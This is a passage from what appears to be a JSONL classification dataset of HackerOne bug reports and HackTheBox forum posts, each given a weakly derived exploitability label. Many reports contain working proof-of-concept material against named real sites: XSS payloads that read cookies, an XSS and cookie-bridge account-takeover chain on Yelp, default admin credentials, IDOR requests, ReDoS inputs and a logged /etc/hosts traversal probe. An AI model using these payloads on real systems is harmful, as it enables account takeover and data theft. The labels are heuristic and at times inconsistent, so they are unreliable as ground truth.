property.\n\nNormally /actuator/health and /actuator/info are enabled the rest is disabled .", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f053e41150d0d5855f1c", "text": "[Uncontrolled Resource Consumption] [CVE-2022-44572] Possible Denial of Service Vulnerability in Rack’s RFC2183 boundary parsing\n\nI reported at https://hackerone.com/reports/1639882\n\nhttps://discuss.rubyonrails.org/t/cve-2022-44572-possible-denial-of-service-vulnerability-in-racks-rfc2183-boundary-parsing/82124\n> There is a denial of service vulnerability in the multipart parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44572.\n> Carefully crafted input can cause RFC2183 multipart boundary parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. Any applications that parse multipart posts using Rack (virtually all Rails applications) are impacted.\n\n## Impact\n\nAny applications that parse multipart posts using Rack (virtually all Rails applications) are impacted.\nThis regular expression does not have the effect of ReDoS countermeasures using memoization in Ruby 3.2.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-44572"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "02f353c41a4a1ed3c8f7", "text": "[Business Logic Errors] CVE-2023-27534: SFTP path ~ resolving discrepancy\n\ncurl supports SFTP transfers. curl's SFTP implementation offers a special feature in the path component of URLs: a tilde (~) character as the first path element in the path to denotes a path relative to the user's home directory. This is supported because of wording in the once proposed to-become RFC draft that was to dictate how SFTP URLs work.\n\nDue to a bug, the handling of the tilde in SFTP path did however not only replace it when it is used stand-alone as the first path element but also wrongly when used as a mere prefix in the first element.\n\nUsing a path like /~2/foo when accessing a server using the user dan (with home directory /home/dan) would then quite surprisingly access the file /home/dan2/foo.\n\n## Hackerone report\n#1892351\n\n## Impact\n\nCircumventing filtering.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-27534"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8e2ea8cad7b1f27ab83c", "text": "[Improper Authentication - Generic] Access to tomcat-manager with default creds\n\n## Summary:\nHi jetblue Security Team.\n\nI Found that this domain `█████████` using Apache Tomcat/6.0.35 , And i was able to login to https://██████████/manager/html With default credentials `tomcat:tomcat`\nSee the following Screenshots:-\n\n██████████\n\n███\n\n## Steps To Reproduce:\n1. Go To https://███████/manager/html\n2. Login with default creds `tomcat:tomcat`\n\n## Supporting Material/References:\n- https://book.hacktricks.xyz/pentesting/pentesting-web/tomcat\n\n## Impact\n\nImproper Authentication\nDefault Credentials lead to access admin manager.\n\n##Fix:-\n- Change default creds.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "baac898fc40a5ccd408a", "text": "[Insecure Direct Object Reference (IDOR)] IDOR - send a message on behalf of other user\n\nHi there, \n\n\nI just found an IDOR in https://hello.dev.myhubs.net/. It allow attacker send a message on behalf of other user \n\nStep to reproduce:\n\t- 1.  Admin: Create Room \n\t- 2.  Attacker: Join room\n\t- 3.  Attacker get \"session_id\" of other user in response \"presence_diff\"\n\n\t\t{F2200381}\n\t- 4.  Attacker send add \"session_id\" parameter to request send message \n\t\t```\n\t\t[\"8\",null,\"hub:84fbckn\",\"message\",{\"session_id\":\"<victim_session_id>\",\"body\":\"eeeee\",\"type\":\"chat\"}]\n\t\t```\n\t\t{F2200382}\n\t- Now the message will be send on behalf of victim \n\nPOC:  \n{F2200384}\n\n## Impact\n\nIt allow attacker send a message on behalf of other user", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0c88787bd7dbc059589f", "text": "Brainfuck admin page\n\nThere is no config pages in admin its just a profile page i have administrator access by privillage esculation exploit", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-12-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "40b04d32c3365181ef95", "text": "[Cross-site Scripting (XSS) - Generic] Self XSS in Create New Workspace Screen\n\nHi team,\nI have found an vulnerability on your website .\nstep to reproduce :\n\n1.firstly i want to say sorry for this .please read carefully\nwhen im testing on your website .i was redirected to  : https://customers.mattermost.com/cloud/connect-workspace\n2.then navigate to create new workspace \n3.on workspace name input this payload : \"/><img src=x onerror=alert(document.cookie)>\n4.xss will trigger \n\nI know this domain is in out of scope ,but attacker can steal user cookies . I dont want any rewards for this i just want to aware you guys for this vulnerability .Hope you can understand .\nThanks for reading my report\n\n## Impact\n\nattacker can steal user cookies", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "752a99b6493f5bad56be", "text": "[Business Logic Errors] CVE-2022-27778: curl removes wrong file on error\n\n## Summary:\nCurl command has a logic flaw that results in removal of a wrong file when combining  `--no-clobber` and `--remove-on-error` if the target file name exists and an error occurs.\n\n## Steps To Reproduce:\n  1. `echo \"important file\" > foo`\n  2. `echo -ne \"HTTP/1.1 200 OK\\r\\nContent-Length: 666\\r\\n\\r\\nHello\\n\" | nc -l -p 9999`\n  3. `curl -m 3 --no-clobber --remove-on-error --output foo http://testserver.tld:9999/`\n  4. `ls -l foo*`\n  5. `cat foo.1`\n\n`-m 3` is used here to simulate a denial of service of the connection performed by the attacker.\n\nThe bug appears to happen because the remote-on-error `unlink` is called without considering the no-clobber generated file name:\n- no-clobber name generation; https://github.com/curl/curl/blob/3fd1d8df3a2497078d580f43c17311e6f58186a1/src/tool_cb_wrt.c#L88\n- remove-on-error unlink: https://github.com/curl/curl/blob/f7f26077bc563375becdb2adbcd49eb9f28590f9/src/tool_operate.c#L598\n\n## Impact\n\nRemoval of a file that was supposed not to be overwritten (data loss). Incomplete file left of disk when it should have been removed. This can lead to potential loss of integrity or availability.\n\nFor this attack to work the attacker of course would need to know a scenario where the victim is performing curl operation with  `--no-clobber` `--remove-on-error`  options.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-27778"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f470f24f6b3fc727a2ae", "text": "[Uncontrolled Resource Consumption] Regular Expression Denial of Service (ReDoS) Vulnerability before 2.6.3\n\nApache Airflow, versions before 2.6.3, has a vulnerability where an authenticated user can use crafted input to make the current request hang.\n\nPOC: \n Go to URL``` http://192.168.73.128:8080/dags/dataset_consumes_1/gantt?root=(((((((.*)*)*)*)*)*)*)!``` twice, valure of `root` param pass into the application will trigger Redos vulnand service will hang for a while.\n\n\n\n#Here is an email comfirm from Airflow team.\n████\n\n## Impact\n\nDenial of service: The attacker can effectively crash the web application or server, preventing legitimate users from accessing", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9be0f0849823ef1c89ed", "text": "[Improper Access Control - Generic] Admins can change authentication details of user configured external storage\n\n## Summary:\n\nAfter some testing in nextcloud server, i found improper access control make users in admin group to change any \"Global credentials\" for admin/user external storage\n\nNote* this issue affect ```admin to admin & admin to user.```\n\n## Steps To Reproduce:\n\n- As a malicious admin user\n- Navigate to External storage\n- At the global credentials input any random valid credentials for example POC:anything\n- Intercept the following request\n```\nPOST /nextcloud/index.php/apps/files_external/globalcredentials HTTP/1.1\nHost: 192.168.56.103\nContent-Length: 43\nAccept: application/json, text/javascript, */*; q=0.01\nrequesttoken: fFwUgm3xqnKq1YBdX5pj8eskJP+6VwfEYSUkhdEbADE=:GQwn4z6nyTrCuOVtbe9Vg6pnfIf/HXezJhNU3P50bFQ=\nX-Requested-With: XMLHttpRequest\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nOCS-APIREQUEST: true\nContent-Type: application/json\nOrigin: http://192.168.56.103\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: oc_sessionPassphrase=B4MUb9O8t71%2BDkT%2FXpeTcrJgb5FoSTRXXKwlRJTJKQ027je%2F7KT2XbFCPs6hU4WgjzTv6iQ1GZfwvVXQ7QsiBM%2FJL5pKT8W4yj4ZU237V4yWGWCERO8hHjEYCnHSp671; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc6xi9hj9sei=irdv8ml4hrgm7gg57v104tj20t; nc_username=nvz; nc_token=o4gwXiPvdr4j3Ba7glzBLoN%2FdhDu6Uvo; nc_session_id=irdv8ml4hrgm7gg57v104tj20t\nConnection: close\n\n{\"uid\":\"nvz\",\"user\":\"nvz\",\"password\":\"123\"}\n```\n\n- Change the ```uid``` parameter to any other user or  admin \n\n- As a result we notice the following response\n```true```\n- And by navigating to the user effected we notice the Global Credentials been changed\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\nhttps://docs.nextcloud.com/server/27/admin_manual/configuration_files/external_storage_configuration_gui.html#storage-configuration\n\n## Impact\n\nusers in admin group can change any \"Global credentials\" for admin/user external storage", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4f625c6c762abd2f3efd", "text": "[Information Exposure Through an Error Message] internal path disclosure via register error\n\n## Summary:\nHi team,\nwhen we call too many register query, we get  error, in this error we can see internal path and sql query structure\n\n## Steps To Reproduce:\n1. go to register form https://valleyconnect.tva.gov/registration \n2. complete form and click on submit registration, then intercept request with burp\n3. use intruder for call multiple request, we should replace email in every request.\n\n```\nPOST /registration HTTP/2\nHost: valleyconnect.tva.gov\n\nUserName=admin&Password=jgn%25%5EThgf%23rfvHRESdy56tef&ConfirmPassword=jgn%25%5EThgf%23rfvHRESdy56tef&EmailAddress=Z%40jetamooz.com&EmailAddressVerify=Z%40jetamooz.com&FirstName=alex&LastName=jane&Initials=&Suffix=&JobTitle=it&OrganizationType=Business+Partner&OrganizationName=sarv&Country=792&StreetAddress=sary&City=katy&Province=titi&State=AL&ZipCode=&PhoneNumber=%28934%29+734-4364&MobilePhoneNumber=%28957%29+363-4655&TimeZone=America%2FLos_Angeles&CapAnswer=U4YIQ&CapKey=XXTxVOUWZrCz6buVtsgF2cFaPHLSCKVSRQc4z4My13Bee8JiTYVZXmiPd8zLSbMc&BeCheck=\n```\n\nresponse :\n```\n Failed to request registration. Please try again or contact support. Error: Telerik.OpenAccess.Exceptions.OptimisticVerificationException: Row not found: GenericOID@b5128f1e RegistrationRequest base_id=1f499ef7-83fa-4a77-8fd9-693b52c4db9b\nUPDATE [sf_dynamic_content] SET [last_modified] = @p0, [voa_version] = @p1 WHERE [base_id] = @p2 AND [voa_version] = @p3\nBatch Entry 0 (set event logging to all to see parameter data)\n   at Telerik.Sitefinity.Data.TransactionManager.CommitTransaction(String transactionName)\n   at DataAccessLayer.Classes.RegistrationRequestService.AddRegistrationRequest(RegistrationRequestEntry model) in D:\\Agent\\_work\\1825\\s\\Code\\DataAccessLayer\\Classes\\RegistrationRequestService.cs:line 193\n```\n\n## Tips:\nwe should insert fast and continuous for geting error\n\n## Supporting Material/References:\n{F2781135}\n{F2781143}\n\n## Impact\n\nImpact", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fbac1730a58430cdd55c", "text": "[Cross-site Scripting (XSS) - Generic] yelp.com and biz.yelp.com ATO via XSS + Cookie Bridge\n\n# Summary\nI've found an XSS on `biz.yelp.com` where the unverified email will be reflected in a message, prompting the user to verify the email. This XSS can be combined with the cookie bridge functionality to target other uses with the XSS. The XSS can then be combined with the cookie bridge a second time to leak `HttpOnly` session cookies, and makes account takeover possible for both business accounts and regular accounts.\n\n# Description\n## XSS in business user email\nWhen a business user has not verified their email, a message is shown telling them to verify the email. The users email is reflected in this message, and it's possible to choose an email that will result in XSS.\n███████\nThere is a 64 char limit on the chosen email, but it's just enough to achieve arbitrary javascript execution by choosing the email\n```\n\"<iframe/onload=eval(atob(location.hash.substring(1)))>\"@calc.sh\n```\nand putting the payload base64 encoded in the url fragment\n{F2544129}\n{F2544130}\n\nAt this point this is just a Self-XSS, but I'll show how this can be used to target other uses.\n\n## yelp.com's Cookie Bridge\nYelp has local versions of the website, so a user requesting the site in danish, will be redirected to `yelp.dk` and a user requesting the site in german will be redirected to `yelp.de`. If a users is signed into `yelp.com` and wishes to change language to danish, they can't just be sent to `yelp.dk` without having to log in again since `yelp.com` and `yelp.dk` are 2 completely different domains in the eyes of the browser, and so the users session cookies can't be used for both domains.\n\nTo solve this challenge, Yelp has implemented a Cookie Bridge that works by sending a GET request to `https://biz.yelp.com/cookie_bridge/store?dhl=da_DK`. The backend will take all the users cookies and save them, redirect them to `https://biz.yelp.dk/cookie_bridge/retrieve?cookie_fsid=qCN_L-QbDTAVmqgKIAs2Dw&redir=%2F` which will then set the same cookies for the `yelp.dk` domain. The value of the `cookie_fsid` is unique for our cookies, and can only be used to retrieve the cookies once. \n\n## Using the Cookie Bridge to sign other users into our account\nWe can use the Cookie bridge to sign a victim into our account. While signed into our account on `biz.yelp.com` we send a request to `https://biz.yelp.com/cookie_bridge/store?dhl=da_DK`. This will result in a `303` redirect to `https://biz.yelp.dk/cookie_bridge/retrieve?cookie_fsid=qCN_L-QbDTAVmqgKIAs2Dw&redir=%2F`. Instead of following the redirect we can have a victim visit the link, and they'll then be signed into our business user on `biz.yelp.dk`. We can even use the `redir` parameter to redirect the victim to `/home#[OUR BASE64 ENCODED XSS PAYLOAD]` and have the XSS trigger\n\n## Using the XSS for ATO\nThe situation is as follows: The victim is logged in on `biz.yelp.com`. We sign the victim into the attacker account on `biz.yelp.dk` where our XSS triggers. The XSS can't make any changes to the victim account due to `biz.yelp.com` and `biz.yelp.dk` being different domains. For the XSS to be effective we need to sign the victim account into `biz.yelp.dk`\nThe attack looks like this:\n- Victim is logged into `biz.yelp.com`.\n- The victim clicks on our page, which open a new tab. We'll call the opener tab \"Tab A\" and the new tab \"Tab B\". Tab B will load the cookie bridge retrieve endpoint that signs the victim into our attacker account on `biz.yelp.dk`, and triggers the XSS:\n```\nhttps://biz.yelp.dk/cookie_bridge/retrieve?cookie_fsid=qCN_L-QbDTAVmqgKIAs2Dw&redir=/home/%23[XSS PAYLOAD BASE64 ENCODED]\n```\n- Now we have javascript execution in Tab B. We now get a reference to Tab A and redirects it via `window.opener.location.href = \"https://biz.yelp.com/cookie_bridge/store?dhl=da_DK\"`. This will sign the victim into their own account on `biz.yelp.dk`. But our XSS is still alive in Tab B so we can now make requests from `biz.yelp.dk` with the victims session cookies.\n\nAt this point we're turned what started as a Self-XSS", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a13352f4c4e27064732e", "text": "[Information Disclosure] [h1-2102] Information disclosure - ShopifyPlus add user displays existing Shopify ID fullname\n\nI am not sure if this by design but it came to my attention that the **Add users** functionality located at `https://shopify.plus/[id]/users/invite` allow a Shopify Plus user with the **User management** access to retrieve any existing Shopify ID full name.\n\n## Steps to reproduce\n1. Log in into **ShopifyPlus**\n1. Go to **Users > Add users**\n1. Within the email field, enter an email address of any existing Shopify Account ID (i.e: francisbeaudoin+h1-2101@wearehackerone.com)\n1. Select any role and click **Send invite**\n\nAs a result, if the entered email does have a Shopify ID, its fullname will be displayed within the user page.\n\n## Screenshot of a pending invite\n██████████\n\n**Note:** I've a feeling that this is expected but still reporting it as the standard invite flow (non ShopifyPlus) doesn't display that kind of informations unless the user accepts the invite.\n\n## Impact\n\nA **ShopifyPlus** user with **User management** can retrieve the firstname and lastname of any existing ShopifyID account (by email lookup).", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "72914b7d3e3a005f9d44", "text": "[Business Logic Errors] CVE-2023-27535: FTP too eager connection reuse\n\nlibcurl would reuse a previously created FTP connection even when one or more options had been changed that could have made the effective user a very different one, thus leading to the doing the second transfer with wrong credentials.\n\nlibcurl keeps previously used connections in a connection pool for subsequent transfers to reuse if one of them matches the setup. However, several FTP settings were left out from the configuration match checks, making them match too easily. The settings in questions are CURLOPT_FTP_ACCOUNT, CURLOPT_FTP_ALTERNATIVE_TO_USER, CURLOPT_FTP_SSL_CCC and CURLOPT_USE_SSL level.\n\n## Hackerone report\n#1892780\n\n## Impact\n\nAccessing content with wrong cached credentials.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-27535"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c2861203e786e54509c6", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS [███]\n\nReflected cross-site scripting (XSS) arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way. An attacker can execute JavaScript arbitrary code on the victim's session.\nSteps To Reproduce\n\n Go to this URL:\nhttps://████████/7/0/33/1d/www.citysearch.com/search?what=x&where=place%22%3E%3Csvg+onload=confirm(document.domain)%3E\n\n## Impact\n\n- Perform any action within the application that the user can perform.\n- View any information that the user is able to view.\n- Modify any information that the user is able to modify.\n- Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.\n- Steal user's cookie.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b11f53f16c9c4b828047", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected Cross Site Scripting at  ColdFusion Debugging Panel  http://www.grouplogic.com/CFIDE/debug/cf_debugFr.cfm\n\n## Summary\nThe ColdFusion Debugging Panel exposed at below URL.\n```\nhttp://www.grouplogic.com/CFIDE/debug/cf_debugFr.cfm?userPage=\n```\nThe **userPage** parameter is not properly sanitized and is displayed  without proper output encoding. This results in reflected cross site scripting.\n\n## Steps To Reproduce\n\nEnter any of below payload in the **userPage** parameter and access the URL:\n\n```\nPayload 1: Mouse Over XSS\n---------------------------\n%0d%0a</script><h1+onmouseover=alert(document.cookie)>MOUSEOVER_XSS</h1>\n\n\nPayload 2: \n---------\n%0d%0a</script><img+src=x+onerror=alert(document.domain)>\n\n```\n\nOr Just access below URLs in browser:\n\n```\nhttp://www.grouplogic.com/CFIDE/debug/cf_debugFr.cfm?userPage=%0d%0a</script><h1+onmouseover=alert(document.cookie)>MOUSEOVER_XSS</h1>\n\nhttp://www.grouplogic.com/CFIDE/debug/cf_debugFr.cfm?userPage=%0d%0a</script><img+src=x+onerror=alert(document.domain)>\n\n```\n\n\n## Recommendations\nIt is highly recommended to implement output encoding.\n\nEncode the following characters with HTML entity encoding to prevent switching into any execution context, such as script, style, or event handlers. Using hex entities is recommended in the spec. The 5 characters significant in XML ```(&, <, >, \", ')```:\n```\n & --> &amp;\n < --> &lt;\n > --> &gt;\n \" --> &quot;\n ' --> &#x27;\n```\n\nReference: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html\n\n## Impact\n\nXSS can be used to :\n- Steal cookies, password\n- Website Defacement\n- Redirect Victim to Malicious site\n- Log keystrokes etc.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ac354af4589a3115c695", "text": "[Information Disclosure] Wordpress users Disclosure [ /wp-json/wp/v2/users/ ]  Not Resolved ()\n\nOn this report's #735586  You closed the report and changed the status to Resolved.\nBut it's Not Resolved The Bug  It's Still there \n\n##url: https://www.mtn.com/wp-json/wp/v2/users/\n\nSorry to say this still i can reproduce this issue please remove  [ /wp-json/wp/v2/users/ ] file if your domain dont use that file\ni will send the proof below still this issue is present on the domain \n\n##Summary:\n\nUsing REST API, we can see all the WordPress users/author with some of their information. Which can even be Personal information of employees/author. The file v2/users at:  https://www.mtn.com/wp-json/wp/v2/users/   is enabled and this give the attacker many users names like:  Amogelang Maluleka Greg Davies karenbyamugisha Marc Ilunga mitchprinsloo\n\n## Steps To Reproduce:\n\n  1. Go to https://www.mtn.com/wp-json/wp/v2/users/ [ Allows anyone to view active usernames ]\n   \n{F2050760}\n\n## Supporting Material/References:\n\nhttps://hackerone.com/reports/356047\nhttps://hackerone.com/reports/370777\n\n##Fix:\n\nUse this code will hide the users list and give 404 as the result, while rest of the api calls keep running as they were.\n ```\nadd_filter( 'rest_endpoints', function( $endpoints ){\n    if ( isset( $endpoints['/wp/v2/users'] ) ) {\n        unset( $endpoints['/wp/v2/users'] );\n    }\n    if ( isset( $endpoints['/wp/v2/users/(?P<id>[\\d]+)'] ) ) {\n        unset( $endpoints['/wp/v2/users/(?P<id>[\\d]+)'] );\n    }\n    return $endpoints;\n});\n ```\n\n## Impact\n\nMalicious counterpart could collect the usernames disclosed (and the admin user) and be focused throughout BF attack (as the usernames are now known), making it less harder to penetrate the data.gov systems.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5e7d06f759f65c046bfe", "text": "[Information Exposure Through Directory Listing] Information Exposure Through Directory Listing\n\n## Summary:\n\nDirectory listing is a web server function that displays the directory contents when there is no index file in a specific website directory. It is dangerous to leave this function turned on for the web server because it leads to information disclosure.\n\n## Steps To Reproduce:\n\nGo to this URL:  http://35.156.91.137/grafana/logs/\nYou can see logs files\nhttp://35.156.91.137/grafana/logs/error.log\nhttp://35.156.91.137/grafana/logs/access.log\n\n## PoC:\n```\n88.244.90.152 - - [31/Jan/2022:11:53:19 +0000] \"GET /api/live/ws HTTP/1.1\" 400 3325 \"-\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36\"\n165.225.95.75 - - [31/Jan/2022:11:53:20 +0000] \"GET /api/live/ws HTTP/1.1\" 400 3325 \"-\" \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36\"\n88.244.90.152 - - [31/Jan/2022:11:53:21 +0000] \"GET /api/live/ws HTTP/1.1\" 400 872 \"-\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36\"\n```\n```\n[Sat Feb 05 01:49:35.862611 2022] [core:error] [pid 8186:tid 140028348987136] [client 161.35.86.181:47058] AH00126: Invalid URI in request GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts HTTP/1.1\n[Sat Feb 05 01:49:36.316927 2022] [authz_core:error] [pid 8186:tid 140027803723520] [client 161.35.86.181:47426] AH01630: client denied by server configuration: proxy:http://127.0.0.1:3000/server-status\n[Thu Feb 10 23:55:47.412015 2022] [ssl:error] [pid 11243:tid 140029020075776] [client 54.205.194.131:42490] AH02042: rejecting client initiated renegotiation\n[Fri Feb 11 06:50:00.503097 2022] [proxy:error] [pid 4547:tid 140029011683072] (111)Connection refused: AH00957: HTTP: attempt to connect to 127.0.0.1:3000 (127.0.0.1) failed\n```\n\n## Impact\n\nInformation Disclosure", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "44c3e00d711d41cbb8c3", "text": "another tip is to use filters as a range… I notice that errors has all the same size lets say 50 so you can use -fs 50-51 at the end to filter the errors and -mc 200 to show only the 200 ok responses. Another thing is, if you use the HTB virtual machine from the web you should get the wordlist from /usr/share/dirb/wordlists/common.txt you have the first 3 flags from there… I found 5 vhost but one of the flags are not correct and the ‘d’ one is tricky.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-09-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "10b7c3b097c70fb53a32", "text": "Hello stuck on Elasticity for 4–5 days, machine got reset I believe 1 day a go and still having the same issue connecting to the official standard port and another a bit above timing out… can someone PM me see if this is the right way because if not at least I can change my approach. Thanks", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-01-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "75f5d0f505fccaa13160", "text": "I am unable to get the flag.txt. I’ve tried to copy it: Click to reveal spoiler I’ve tried to cat it: Click to reveal spoiler I’ve tried to move it but got a permissions error. I’ve managed to print the error on the page itself when I put the payloads in the “to” field instead of the from field but it still does not print the flag I’ve tried many variations of these payloads but none are working. I’ve been stuck on this for 3 days now. Any assistance will be appreciated.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d3c7026c07fcf37db30c", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS on the \"www.intensedebate.com/extras-widgets\" url at \"Recent comments by\" module with malicious blog url\n\n## Summary:\nHello team. I have found a place where filtration/encoding for special symbols used in blog/site url  is not set which leads to Stored XSS on the user page who posted a comment on malicious blog/site.\n\n## Platform(s) Affected:\nAffected page www.intensedebate.com/extras-widgets block \"Recent comments by\". After loading, this page makes a request to https://www.intensedebate.com/widgets/userComment/27205148 - (where 27205148 is userID) to receive additional javascript logic and list of user's comments with html  pre set.\n\nHere are Payloads for malicious blog / site.\nFor context of \"a\" tag a malicious url must be like this ``` http://████.herokuapp.com/\"onmousemove=console.log(`Happy-hack!`);>.html```\nFor context of \"html\" document a malicious url must be like this ```http://██████████.herokuapp.com/\"><img+src=z+onerror=console.log(`Happy-hack!`);>.html```\nYou can encode this url as URI to hide these special symbols from users eyes or load this page in some iframe.\nI used Heroku service to demonstrate this case. I used this console.log (...) payload so as not to bother real users because I don't know where else it might appear.\n\nHere are some pieces of code from this https://www.intensedebate.com/widgets/userComment/27205148 request.\nLine #2 contains generated html with comments where two links are not filtered / escaped \"Jump to\" and \"Document\", but 3th link is escaped!\n```javascript\nvar theHTML = '... <a href=\\\"http://████.herokuapp.com/\\\"><img src=z onerror=console.log(`Happy-hack!`);>.html#IDComment1096880652\\\" class=\\\"idw-jump\\\"><span>Jump to</span></a> </p> <p><a href=\\\"http://█████.herokuapp.com/&quot;&gt;&lt;img+src=z+onerror=console.log(`happy-hack!`);&gt;.html\\\">http://████████.herokuapp.com/&amp;quot;&amp;gt;&amp;lt;img+src=z+onerror=console.log(`happy-hack!`);&amp;gt;.html/</a> / <a href=\\\"http://████.herokuapp.com/\\\"><img src=z onerror=console.log(`Happy-hack!`);>.html\\\">Document</a></p> ...\n```\nand line #20 (in my case) where `theHTML` code is written into html document\n```javascript\n document.write('<style>....</style><div class=\"idw-container\" id=\"IDWidget1\">' + theHTML + '</div> ...');\n```\n\n## Steps To Reproduce:\nFirst of all we need to have two accounts to test this case. e.g the first is an Attacker who is the owner of malicious blog/site and the second is victim user. Let's say we have two accounts \"Attacker\" (set \"I want to install IntenseDebate on my blog or website\" while registration) and \"Victim\"\n\n**Attacker steps:**\n  1. Create a page on the Attacker's blog/site and set the name of route or static file (in my case) as \n```\"onmousemove=console.log(`Happy-hack!`);>.html``` or ```\"><img+src=z+onerror=console.log(`Happy-hack!`);>.html``` \n  2. Login into https://www.intensedebate.com\n  3. Navigate to https://intensedebate.com/install and add blog/site with payload e.g ```http://██████.herokuapp.com/\"><img+src=z+onerror=console.log(`Happy-hack!`);>.html```\n  4. Then go next to *\"Step: 2\"* and choose platform (in my case it's \"Generic Install\"). I think this works for every platform.\n  5. Then do JavaScript installation on the Attacker's blog/site *\"Copy and paste the following code into the area where you would like Intense Debate comments to appear:\"*\n  6. You can use this functionality to trigger users to visit your blog / site *\"Let people know that you have installed IntenseDebate\"*\n\n**Victim steps:**\n  1. Login into https://www.intensedebate.com\n  2. Visit  the Attacker's blog/site and login there\n  3. Post a comment\n  4. Then navigate to this page https://intensedebate.com/extras-widgets\n  5. Pay attention to \"Recent comments by\" block\n\n## Supporting Material/References:\n{F1167118}\n\n{F1167119}\n\n{F1167120}\n\n{F1167124}\n\n## Impact\n\nIn this case an attacker can use his own blog / site to inject and run arbitrary code on the \"intensedebate.com\" users page. It's possible to make malicious request from users account to somewhere or to someo", "label": 0, "label_name": "non_exploit_noise", 